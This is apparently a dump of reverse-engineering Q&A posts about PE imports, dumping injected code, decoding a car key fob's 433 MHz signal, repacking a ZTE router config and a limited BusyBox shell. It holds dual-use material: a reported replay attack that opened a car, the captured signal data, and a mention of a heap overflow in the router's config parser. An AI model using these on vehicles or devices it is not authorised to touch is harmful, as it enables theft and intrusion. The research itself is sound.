  <row Id="13387" PostTypeId="2" ParentId="13385" CreationDate="2016-08-28T07:33:06.927" Score="4" Body="&lt;p&gt;Extracted from &lt;a href=&quot;http://www.pelib.com/resources/luevel.txt&quot; rel=&quot;nofollow&quot;&gt;http://www.pelib.com/&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;First, the bit &lt;code&gt;IMAGE_ORDINAL_FLAG&lt;/code&gt; (that is: the &lt;code&gt;MSB&lt;/code&gt;) of the&#xA;  &lt;code&gt;IMAGE_THUNK_DATA&lt;/code&gt; in the arrays can be set, in which case there is no&#xA;  symbol-name-information in the list and the symbol is imported purely by&#xA;  ordinal. You get the ordinal by inspecting the lower word of the&#xA;  &lt;code&gt;IMAGE_THUNK_DATA&lt;/code&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;IMAGE_THUNK_DATA&lt;/code&gt;-array; walk down this array (it is be&#xA;  &lt;code&gt;0&lt;/code&gt;-terminated), and each member will be the RVA of a&#xA;  &lt;code&gt;IMAGE_IMPORT_BY_NAME&lt;/code&gt; (unless the hi-bit is set in which case you&#xA;  don't have a name but are left with a mere ordinal).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A more detailed explanation extracted from a &lt;a href=&quot;http://fossies.org/linux/volatility/volatility/plugins/overlays/windows/pe_vtypes.py&quot; rel=&quot;nofollow&quot;&gt;volatility plugin&lt;/a&gt; (lines 363-367):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;350  while 1:&#xA;351      thunk = obj.Object('_IMAGE_THUNK_DATA',&#xA;352                 offset = self.obj_parent.DllBase + self.OriginalFirstThunk +&#xA;353                 i * self.obj_vm.profile.get_obj_size('_IMAGE_THUNK_DATA'),&#xA;354                 vm = self.obj_native_vm)&#xA;&#xA;355      # We've reached the end when the element is zero &#xA;357      if thunk == None or thunk.AddressOfData == 0:&#xA;358          break&#xA;359      o = obj.NoneObject(&quot;Ordinal not accessible?&quot;)&#xA;361      n = obj.NoneObject(&quot;Imported by ordinal?&quot;)&#xA;362      f = obj.NoneObject(&quot;FirstThunk not accessible&quot;)&#xA;&#xA;363      # If the highest bit (32 for x86 and 64 for x64) is set, the function is &#xA;365      # imported by ordinal and the lowest 16-bits contain the ordinal value. &#xA;366      # Otherwise, the lowest bits (0-31 for x86 and 0-63 for x64) contain an &#xA;367      # RVA to an _IMAGE_IMPORT_BY_NAME struct. &#xA;368      if thunk.OrdinalBit == 1:&#xA;369          o = thunk.Ordinal &amp;amp; 0xFFFF&#xA;370      else:&#xA;371          iibn = obj.Object(&quot;_IMAGE_IMPORT_BY_NAME&quot;,&#xA;372                            offset = self.obj_parent.DllBase +&#xA;373                            thunk.AddressOfData,&#xA;374                            vm = self.obj_native_vm)&#xA;375          o = iibn.Hint&#xA;376          n = iibn.Name&#xA;377      # See if the import is bound (i.e. resolved)&#xA;379      first_thunk = obj.Object('_IMAGE_THUNK_DATA',&#xA;380                      offset = self.obj_parent.DllBase + self.FirstThunk +&#xA;381                      i * self.obj_vm.profile.get_obj_size('_IMAGE_THUNK_DATA'),&#xA;382                      vm = self.obj_native_vm)&#xA;383      if first_thunk:&#xA;384          f = first_thunk.Function.v()&#xA;385      yield o, f, str(n or '')&#xA;387      i += 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2016-08-28T07:33:06.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13388" PostTypeId="1" AcceptedAnswerId="13389" CreationDate="2016-08-28T07:38:43.553" Score="0" ViewCount="495" Body="&lt;p&gt;I am analyzing a binary that is injecting code into another process (i.e., svchost.exe) to make the debugging more tedious. I can attach the new process to a debugger (e.g., ollydbg or the one featured by IDA Pro) and read the assembly code. However, I was wondering whether it is possible or not to take like a snapshot of this so I can later on analyze the code offline (as any other binary).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="17267" LastActivityDate="2016-08-30T20:10:49.063" Title="Save injected code" Tags="|debugging|injection|memory-dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13389" PostTypeId="2" ParentId="13388" CreationDate="2016-08-28T08:28:07.890" Score="2" Body="&lt;p&gt;So your definition of a &quot;snapshot&quot; is somewhat vague. Hopefully my answer matches your idea:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you already take a look at the &lt;a href=&quot;http://low-priority.appspot.com/ollydumpex/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDumpEx Plugin&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This plugin is process memory dumper for OllyDbg and Immunity&#xA;  Debugger. Very simple overview: OllyDumpEx = OllyDump + PE Dumper -&#xA;  obsoleted + useful features&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Of course you can simply dump the raw memory as described &lt;a href=&quot;https://stackoverflow.com/questions/34341726/how-to-dump-memory-into-raw-file-in-ollydbg&quot;&gt;here&lt;/a&gt; with &#xA;&lt;code&gt;ollydbg&lt;/code&gt; itself.&lt;/p&gt;&#xA;" OwnerUserId="15907" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-08-30T20:10:49.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13390" PostTypeId="1" CreationDate="2016-08-28T23:34:02.073" Score="3" ViewCount="1061" Body="&lt;p&gt;Considering a key fob for RKE (remote keyless entry, automotive) its signal has been captured:&#xA;It sends at &lt;code&gt;433,92MHz&lt;/code&gt; simple &lt;code&gt;on/off&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following I regard the deltas (time differences between &lt;code&gt;on-off&lt;/code&gt; or &lt;code&gt;off-on&lt;/code&gt;). The greatest common divisor of these deltas is &lt;code&gt;500µs&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The signal is the following (&lt;code&gt;*500µs&lt;/code&gt; each, starting LOW):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;50,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,10,&#xA;1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,2,&#xA;1,1,1,1,1,1,1,1,1,2,1,2,1,1,1,3,1,1,1,1,1,3,&#xA;1,2,1,1,1,1,1,2,1,3,1,1,1,1,1,2,1,2,1,3,1,3,&#xA;1,2,1,2,1,2,1,1,1,1,1,2,1,3,1,1,1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;other samples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;52 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 11 &#xA;1 1 1 1 1 1 1 1 1 2 1 2 1 1 1 1 1 2 1 2 1 1 &#xA;1 2 1 2 1 1 1 1 1 2 1 1 1 2 1 3 1 2 1 2 1 1 &#xA;1 1 1 2 1 1 1 1 1 1 1 2 1 3 1 1 1 1 1 2 1 1 &#xA;1 2 1 3 1 2 1 1 1 1 1 2 1 1 1 1 1 1 1&#xA;&#xA;52 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 11 &#xA;1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 1 1 1 1 &#xA;1 1 1 2 1 1 1 2 1 1 1 2 1 1 1 3 1 1 1 1 1 1 &#xA;1 1 1 1 1 3 1 1 1 2 1 2 1 1 1 1 1 1 1 1 1 3 &#xA;1 3 1 3 1 1 1 1 1 2 1 1 1 2 1 2 1 2 1 1 1&#xA;&#xA;52 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 11 &#xA;1 1 1 1 1 1 1 1 1 3 1 3 1 3 1 2 1 2 1 1 1 3 &#xA;1 1 1 1 1 2 1 2 1 1 1 1 1 3 1 2 1 2 1 2 1 1 &#xA;1 2 1 2 1 2 1 2 1 1 1 2 1 1 1 1 1 1 1 1 1 3 &#xA;1 2 1 1 1 1 1 1 1 1 1 2 1 1 1&#xA;&#xA;52 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 11 &#xA;1 1 1 1 1 1 1 1 1 2 1 2 1 1 1 1 1 1 1 3 1 1 &#xA;1 1 1 1 1 3 1 1 1 3 1 3 1 1 1 3 1 1 1 1 1 2 &#xA;1 1 1 1 1 1 1 1 1 2 1 3 1 1 1 1 1 2 1 1 1 1 &#xA;1 1 1 1 1 2 1 2 1 1 1 1 1 2 1 2 1 2 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;code&gt;50&lt;/code&gt; might be &lt;code&gt;50~52&lt;/code&gt;, &lt;code&gt;10&lt;/code&gt; might be &lt;code&gt;11&lt;/code&gt;, however this is not important), the receiver is sensitive enough to seperate &lt;code&gt;500&lt;/code&gt;,&lt;code&gt;1000&lt;/code&gt;,&lt;code&gt;1500µs&lt;/code&gt; -- these are the important datas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does NOT seem to be Manchester because there is only &lt;code&gt;1&lt;/code&gt; and &lt;code&gt;2&lt;/code&gt; times the &quot;main delta&quot;, not &lt;code&gt;3*500&lt;/code&gt;.&#xA;Some sort of PWM? So what is the main width and duty cycle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask for the name of this encoding. &lt;code&gt;50&lt;/code&gt; and &lt;code&gt;10&lt;/code&gt; (&lt;code&gt;x500µs&lt;/code&gt;) seems special, interesting is the part beginning after the &lt;code&gt;10*500µs=5000µs&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;I did a simple replay attack: Captured a signal like the samples above (enough distance to car, so that it doesn't hear it), then replayed the signal with my 433MHz Transmitter and car opened successfully! That proves data is accurate enough and things are working properly. However now comes the hard part...&#xA;Addition: I spotted two things: The duration of every signal is the same, if you want to further analyze it, write it like this (just example, no captured signal):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 1 1 2   1 3     1&#xA;1 1 1 1 1 1 1 1 1 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition: There is always this prefix &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;50 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 11 1 1 1 1 1 1 1 1 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then it is maybe helpful to spot that between two non-1 (2 or 3), there is an odd amount of 1 always. Conclusion: The longer times (2 or 3) are always LOW because first 50*500µs is LOW, short pulses (1*500µs) can be both hi/lo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess no one knows the encryption, but someone knows the encoding?&#xA;Some sort of &quot;&lt;a href=&quot;https://en.wikipedia.org/wiki/Line_code&quot; rel=&quot;nofollow&quot;&gt;line code&lt;/a&gt;&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning request by @JimmyB I am adding binary representation, whereby a single 0 or 1 represents a 500µs pulse with the corresponding amplitude (0 or 1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The prefix becomes this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000000000000000000000000000000000000000000000000000101010101010101010100000000000101010101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Many samples following (sample hereby refers to the data after prefix, so the complete data is simply prefix+data), one sample per line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00100101010010010100100101010010100100010010010101001010101001000101010010100100010010101001010101&#xA;01010101001010101001010010100101000101010101010001010010010101010100010001000101010010100100100101&#xA;00010001000100100101000101010010010101000100100100101001001001001010010101010100010010101010100101&#xA;00100101010100010101010001010001000101000101010010101010100100010101001010101010010010101001001001&#xA;01010100101010010101010100100101000101010001001010100100010101001001000100010010010010101001000101&#xA;01001001010100010001001010010101000101010001010101001001000101000101010100100101010010100101001001&#xA;00010101001010100100101001010101000100101010010101000100100101001001010101010010010010100100101001&#xA;01000101001010100100101010101010100100101001001010100100010101010001000100100101000100100101001001&#xA;01000100101001010101001010010001010101001001010010010100101010010101001001010100100100100100100101&#xA;01010010100101010010010100010101001001001001000101001010100101010001001001000100010010101010100101&#xA;00100101001010100101000101001001010010100101000100010010100101000100101010010001000100100100100101&#xA;01010001010101010100010100101001010001001001001001010100100101001001000100101001010010101010010001&#xA;00010100100100101010010100101010101010101010100101001010010010100100100101000100100100101001010101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this representation, it is clearly visible that all samples have same duration (might or might not be important for further analysis).&#xA;Now looking for patterns? This is all I can provide, I guess. Due to the fact that this is in Germany, something like FCC-ID doesn't exist, so there would be chance of getting more information even though the interesting parts normally are non-public...&lt;/p&gt;&#xA;" OwnerUserId="17268" LastEditorUserId="2147" LastEditDate="2016-09-06T13:18:46.807" LastActivityDate="2016-09-06T13:18:46.807" Title="Radio Signal 433.92MHz ASK OOK modulation, encoding?" Tags="|encodings|radio-interception|binary-diagnosis|" AnswerCount="0" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="13391" PostTypeId="1" AcceptedAnswerId="13395" CreationDate="2016-08-29T10:39:29.763" Score="8" ViewCount="4883" Body="&lt;p&gt;I just got a Zte &lt;code&gt;ZXHN F660 GPON ONT Wireless&lt;/code&gt; router with my optic fiber internet provided by my telecom provider.&lt;/p&gt;&#xA;&lt;p&gt;My first discovery was that the &lt;code&gt;eth&lt;/code&gt; Lan ports are bricked wich&#xA;means I can only use one Lan at time and there's a &lt;code&gt;telnet&lt;/code&gt; default user and password i cannot remove or change - well i can do but only provisory: &lt;br&gt; I was able to bypass the problem using telnet and busybox console but the fix is provisory unfortunately. Each time the router reboots the old config gets installed, wich is normal I think.&lt;/p&gt;&#xA;&lt;p&gt;I decided to investigate a bit more and made a config backup threw the webui wich gives me a &lt;code&gt;.bin&lt;/code&gt; file. Using binwalk i saw that there is 3 data blocks compressed with &lt;code&gt;zlib&lt;/code&gt;. I made a quick and dirty script in python to unpack them and concatenate them in a &lt;code&gt;XML&lt;/code&gt; file wich provides all the router's setup.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;I managed to modify and repack it, but here's the problem:&lt;/strong&gt; the header contain some informations that make the config upgrade fail each time. With an hex editor I noticed that before each compressed &lt;code&gt;zlib&lt;/code&gt; block there is the hex values of the pack inflated and deflated, so I was able to correct them. There's also in the header a &lt;code&gt;CRC32&lt;/code&gt; of the concatenation of each &lt;code&gt;zlib&lt;/code&gt; compressed packs without headers, so I was also able to correct it when I repack the new file. &lt;br&gt; But next to it there's what I believe is an other &lt;code&gt;CRC32&lt;/code&gt;, but I can't find out what that &lt;code&gt;CRC32&lt;/code&gt; is about so any help is welcome to this point.&lt;/p&gt;&#xA;&lt;p&gt;I've downloaded the &lt;code&gt;httpd&lt;/code&gt; and &lt;code&gt;cspd&lt;/code&gt; files from my router and try to disassemble them using IDA, but the loops I find in gives me the seasick and it's beyond my actual skills so that would be great to get some help and explaination about how to repack the &lt;code&gt;xml&lt;/code&gt; file into the &lt;code&gt;bin&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for any help or advice.&lt;/p&gt;&#xA;&lt;p&gt;Here the first offsets of my dummy &lt;code&gt;config.bin&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F&#xA;00000000  04 03 02 01 00 00 00 00 00 00 00 04 46 36 36 30  ............F660&#xA;00000010  01 02 03 04 00 00 00 00 00 02 37 AB 00 00 36 79  ..........7«..6y&#xA;00000020  00 01 00 00 97 10 5B C9 6E 6F 53 12 00 00 00 00  ....—.[ÉnoS.....&#xA;00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................&#xA;00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00  ................&#xA;00000050  00 00 16 B8 00 00 17 00 78 DA ED 3D 5B 77 DB 38  ...¸....xÚí=[wÛ8&#xA;00000060  73 EF FD 15 69 DA 3E 75 D7 E6 4D F4 E5 7C DB 53  sïý.iÚ&gt;u×æMôå|ÛS&#xA;00000070  99 94 1D 9D 95 14 46 94 AD AF FB E2 03 53 B0 CC  ™”..•.F”.¯ûâ.S°Ì&#xA;00000080  13 1A 64 49 CA 97 FD F5 05 A8 1B 05 02 20 48 C9  ..dIÊ—ýõ.¨... HÉ&#xA;00000090  B2 94 D2 49 6C 47 33 04 06 83 B9 01 1C 60 FE 61  ²”ÒIlG3..ƒ¹..`þa&#xA;000000A0  5F FD D7 BF FC 63 F4 10 7C 41 E0 19 FE F1 D5 BE  _ý×¿ücô.|Aà.þñÕ¾&#xA;000000B0  BA 02 09 FC FA 65 18 BE 5A E1 0C A5 7F 7C 55 BF  º..üúe.¾Zá.¥.|U¿&#xA;000000C0  62 04 FC DF 2F 83 F0 8F AF 0A F9 8F DD 5F 20 77  b.üß/ƒð.¯.ù.Ý_ w&#xA;000000D0  AF BB E8 31 FC FA E5 05 04 18 A4 E2 3F 9A A2 64  ¯»è1üúå...¤â?š¢d&#xA;000000E0  FF 94 EC 67 DB 30 F0 67 F8 CB 50 8C 6B F2 F3 EB  ÿ”ìgÛ0ðgøËPŒkòóë&#xA;000000F0  29 7E FC 14 37 46 7E E0 4E 37 BA 1E B7 07 76 BE  )~ü.7F~àN7º.·.v¾&#xA;00000100  63 8D DF F1 9D 0F 5F 07 F8 B7 45 D7 DD 1B FB 64  c.ßñ.._.ø·E×Ý.ûd&#xA;00000110  6C AB 59 EB 2B 1C D2 DC E8 3D 5A E2 18 05 A8 65  l«Yë+.ÒÜè=Zâ..¨e&#xA;00000120  5B 20 F2 FC F4 7D 81 41 3D 3F 8A FD E9 14 C6 1D  [ òüô}.A=?Šýé.Æ.&#xA;00000130  04 1E 02 B8 81 B2 18 C0 92 34 B5 9C 34 4D 48 9A  ...¸.².À’4µœ4MHš&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here a copy of a dummy &lt;code&gt;config.bin&lt;/code&gt;, &lt;code&gt;cspd&lt;/code&gt; and &lt;code&gt;httpd&lt;/code&gt; files of my router:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://s000.tinyupload.com/?file_id=28971449732434837128&quot; rel=&quot;noreferrer&quot;&gt;config.bin,cspd,httpd files&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17271" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-07-26T12:32:52.647" Title="Zte Reverse engineering config.bin file problem" Tags="|ida|disassembly|binary-analysis|unpacking|packers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13394" PostTypeId="2" ParentId="13366" CreationDate="2016-08-29T17:22:15.973" Score="0" Body="&lt;p&gt;If you are able to store a file, say a dll, your shellcode could load said dll. See &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms682583(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;MSDN on DllMain&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17275" LastActivityDate="2016-08-29T17:22:15.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13395" PostTypeId="2" ParentId="13391" CreationDate="2016-08-30T09:45:42.073" Score="6" Body="&lt;p&gt;The second CRC is the CRC of the header started from &lt;code&gt;0x10&lt;/code&gt; to &lt;code&gt;0x28&lt;/code&gt;. The following script checks the config file based on the &lt;code&gt;dbcCfgFileDecry&lt;/code&gt; function, which verify and decompress the config file from offset &lt;code&gt;0x10&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;import binascii&#xA;import struct&#xA;import zlib&#xA;&#xA;if (len(sys.argv) &amp;lt; 1):&#xA;    print 'usage: check_config.py config_file'&#xA;&#xA;cf = open(sys.argv[1], 'rb')&#xA;h = cf.read(0x4c)&#xA;&#xA;#--------------------&#xA;# read the header&#xA;if (h[0:4] != '\x04\x03\x02\x01'):&#xA;    print 'Invalid magic'&#xA;    sys.exit(-1)&#xA;&#xA;if (h[0x10:0x14] != '\x01\x02\x03\x04'):&#xA;    print 'Invalid magic'&#xA;    sys.exit(-1)&#xA;&#xA;h2 = h[0x10:]&#xA;hcrc_calc = binascii.crc32(h2[0:0x18])&amp;amp;0xffffffff&#xA;hcrc_store = struct.unpack('!L', h2[0x18:0x1c])[0]&#xA;print 'calc: %x - stored: %x'%(hcrc_calc, hcrc_store)&#xA;if (hcrc_calc != hcrc_store):&#xA;    print 'Invalid header CRC'&#xA;    sys.exit(-2)&#xA;&#xA;block_buffer_size = struct.unpack('!L', h2[0x10:0x14])[0]&#xA;# used to allocate memory for temp buffers&#xA;print 'block buffer size: %x'%(block_buffer_size)&#xA;&#xA;#--------------------&#xA;# read the blocks&#xA;fout = open('%s.xml'%(sys.argv[1]), 'wb')&#xA;cumulate_crc = 0&#xA;while (True):&#xA;    bheader = cf.read(0x0c)&#xA;    if (len(bheader) == 0):&#xA;        break&#xA;    block_size = struct.unpack('!L', bheader[0x04:0x08])[0]&#xA;    print 'block size: %x'%(block_size)&#xA;&#xA;    # read the whole block to previously allocated buffer&#xA;    # Possible heap based buffer overflow, because the size was not checked in&#xA;    # the dbcCfgFileDecry function!&#xA;    block = cf.read(block_size)&#xA;    cumulate_crc = binascii.crc32(block, cumulate_crc)&amp;amp;0xffffffff&#xA;    decompressed = zlib.decompress(block)&#xA;    fout.write(decompressed)&#xA;&#xA;stored_cumulate_crc = struct.unpack('!L', h2[0x14:0x18])[0]&#xA;print 'cumulate crc: calc: %x - stored: %x'%(cumulate_crc, stored_cumulate_crc)&#xA;if (cumulate_crc != stored_cumulate_crc):&#xA;    print 'Invalid cumulate CRC'&#xA;    sys.exit(-3)&#xA;&#xA;cf.close()&#xA;fout.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a side note, the &lt;code&gt;dbcCfgFileDecry&lt;/code&gt; function contains a heap-based buffer overflow vulnerability, because it did not check whether the current block will fit into the allocated buffer.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-08-30T09:45:42.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13398" PostTypeId="1" AcceptedAnswerId="13399" CreationDate="2016-08-30T14:07:11.937" Score="6" ViewCount="1403" Body="&lt;p&gt;Few weeks ago, I started reverse engineering libraries and binaries from a commercial copyrighted product (a game). And, I would like to post the code on an open source platform like GitHub.&lt;/p&gt;&#xA;&lt;p&gt;I've searched a lot on the Internet, and found that in some cases it was legal to share the reversed-material, and in other cases illegal.&lt;/p&gt;&#xA;&lt;p&gt;Is it legal to post reverse-engineered code from a copyrighted product on an open source platform?&lt;/p&gt;&#xA;" OwnerUserId="17249" LastEditorUserId="37138" LastEditDate="2021-12-17T10:25:22.983" LastActivityDate="2021-12-17T10:25:22.983" Title="Is reverse engineering legal?" Tags="|decompilation|law|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="13399" PostTypeId="2" ParentId="13398" CreationDate="2016-08-30T17:35:25.453" Score="4" Body="&lt;p&gt;Disclaimer: IANAL. Usually the answer is “it depends.” Are you creating a derivative commercial game? Probably it is not so legal. Are you doing that to be “compatible” with that game? It's legal. Are you just researching the internals of the game? It's legal.&lt;/p&gt;&#xA;&lt;p&gt;For example: I know people who ported game engines by reverse engineering and even copying parts by decompilation &amp;amp; adaptation and, except when they tried to distribute copyrighted things (libraries, graphics, etc…), it was considered legal. Also, please remember that if you're using, say, SAMBA in MacOSX/Linux or Open/LibreOffice, you're actually using code that was reverse engineered from their commercial counterparts and published in open source codes.&lt;/p&gt;&#xA;&lt;p&gt;In short: derivative products or anything with the aim of damaging a company or getting an economic benefit, is probably not so legal. Research, compatibility and porting is.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="37138" LastEditDate="2021-12-17T10:24:47.407" LastActivityDate="2021-12-17T10:24:47.407" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13400" PostTypeId="1" AcceptedAnswerId="13417" CreationDate="2016-08-30T18:28:39.583" Score="2" ViewCount="428" Body="&lt;p&gt;I was working with a RTF file and I found the string &quot;otkloadr.WRAssembly.1&quot; present inside the file in plain sight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that many exploits use this for loading the msvcr71.dll (non-ASLR module).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suspicion is the file I'm working with is malicious. Does this have any good use inside a office file or is just plain malicious?&lt;/p&gt;&#xA;" OwnerUserId="11879" LastEditorUserId="2147" LastEditDate="2016-09-03T07:13:39.577" LastActivityDate="2016-09-03T07:13:39.577" Title="Why is otkloadr.WRAssembly.1 reference present in a office file?" Tags="|malware|exploit|software-security|msvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13402" PostTypeId="1" CreationDate="2016-08-31T19:03:40.670" Score="0" ViewCount="9027" Body="&lt;p&gt;I'm testing some  embedded device, and there is lack of documentation. When I telnet to device, I get only limited shell.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BusyBox v1.19.2 (built-in shell (ash)&#xA;Enter 'help' for a list of built-in commands.&#xA;&#xA;# help&#xA;Built-in commands:&#xA;------------------&#xA;        . : [ [[ bg break cd chdir continue echo eval exec exit export&#xA;        false fg getopts hash help jobs kill local printf pwd read readonly&#xA;        return set shift source test times trap true type ulimit umask&#xA;        unset wait&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is limited shell, its not clear, how to get into the full shell?&lt;/p&gt;&#xA;" OwnerUserId="17168" LastEditorUserId="17168" LastEditDate="2016-09-03T12:58:16.527" LastActivityDate="2017-04-16T16:32:14.183" Title="Limited BusyBox shell" Tags="|linux|firmware|embedded|networking|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13403" PostTypeId="2" ParentId="13402" CreationDate="2016-08-31T20:21:09.590" Score="2" Body="&lt;p&gt;BusyBox is mainly focused on size-optimizing and commands could be excluded/included during compile time. So, without providing additional informations, it seems to be a very limited set of &lt;a href=&quot;https://busybox.net/BusyBox.html&quot; rel=&quot;nofollow&quot;&gt;installed components&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it should be clear, that this doesn't mean that the firmware of the device doesn't support specific utilities per se. If this is not flully clear, you should take a look at the &lt;a href=&quot;https://busybox.net/FAQ.html#whatis&quot; rel=&quot;nofollow&quot;&gt;FAQ - What is Busybox&lt;/a&gt; section. Some cites should make this fully clear:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Can I enable FTP?&quot; - &quot;We don't know whether Foomatic-9000 firmware&#xA;  comes with Busybox binary with enabled ftpd applet. (If you have&#xA;  access to shell prompt, try running &quot;busybox ftpd --help&quot;). If it&#xA;  does, you probably will be able to enable it. Unfortunately, we don't&#xA;  know how Foomatic-9000 firmware manages starting and stopping of&#xA;  various services (in case they already have ftpd sevice and it is just&#xA;  disabled), or how to create and enable a new service on Foomatic-9000&#xA;  (if they dont). Try googling for it.&quot;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&quot;Can I enable SCP?&quot; - &quot;Busybox-1.23.4 does not have scp applet.&#xA;  However, Foomatic-9000 might have scp installed (say, if they have&#xA;  dropbear installed), and it may be possible to enable it. If not, it&#xA;  may be possible to build and install your own scp tool. Try googling&#xA;  for it.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should probably focus more on the specific device and installed firmware, than concentrate on the limited set of components linked to Busybox itself.&lt;/p&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2016-08-31T20:21:09.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13405" PostTypeId="1" AcceptedAnswerId="13406" CreationDate="2016-09-01T08:13:33.450" Score="2" ViewCount="944" Body="&lt;p&gt;Do someone know a windbg command to display the RVA of a certain instruction within it's module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, if I want to find the RVA of the current instruction, let's say, the RVA of that &lt;code&gt;test eax, eax&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;16237915 8b4e0c          mov     ecx,dword ptr [esi+0Ch]&#xA;16237918 e8633ff0ff      call    NPSWF32!BrokerMainW+0x1b0a4 (1613b880)&#xA;1623791d 85c0            test    eax,eax&#xA;1623791f 7507            jne     NPSWF32!BrokerMainW+0x11714c (16237928)&#xA;16237921 8bce            mov     ecx,esi&#xA;16237923 e80838fdff      call    NPSWF32!BrokerMainW+0xea954 (1620b130)&#xA;16237928 8b4810          mov     ecx,dword ptr [eax+10h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have to find first the base address of the module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; lm a 1623791d &#xA;Browse full 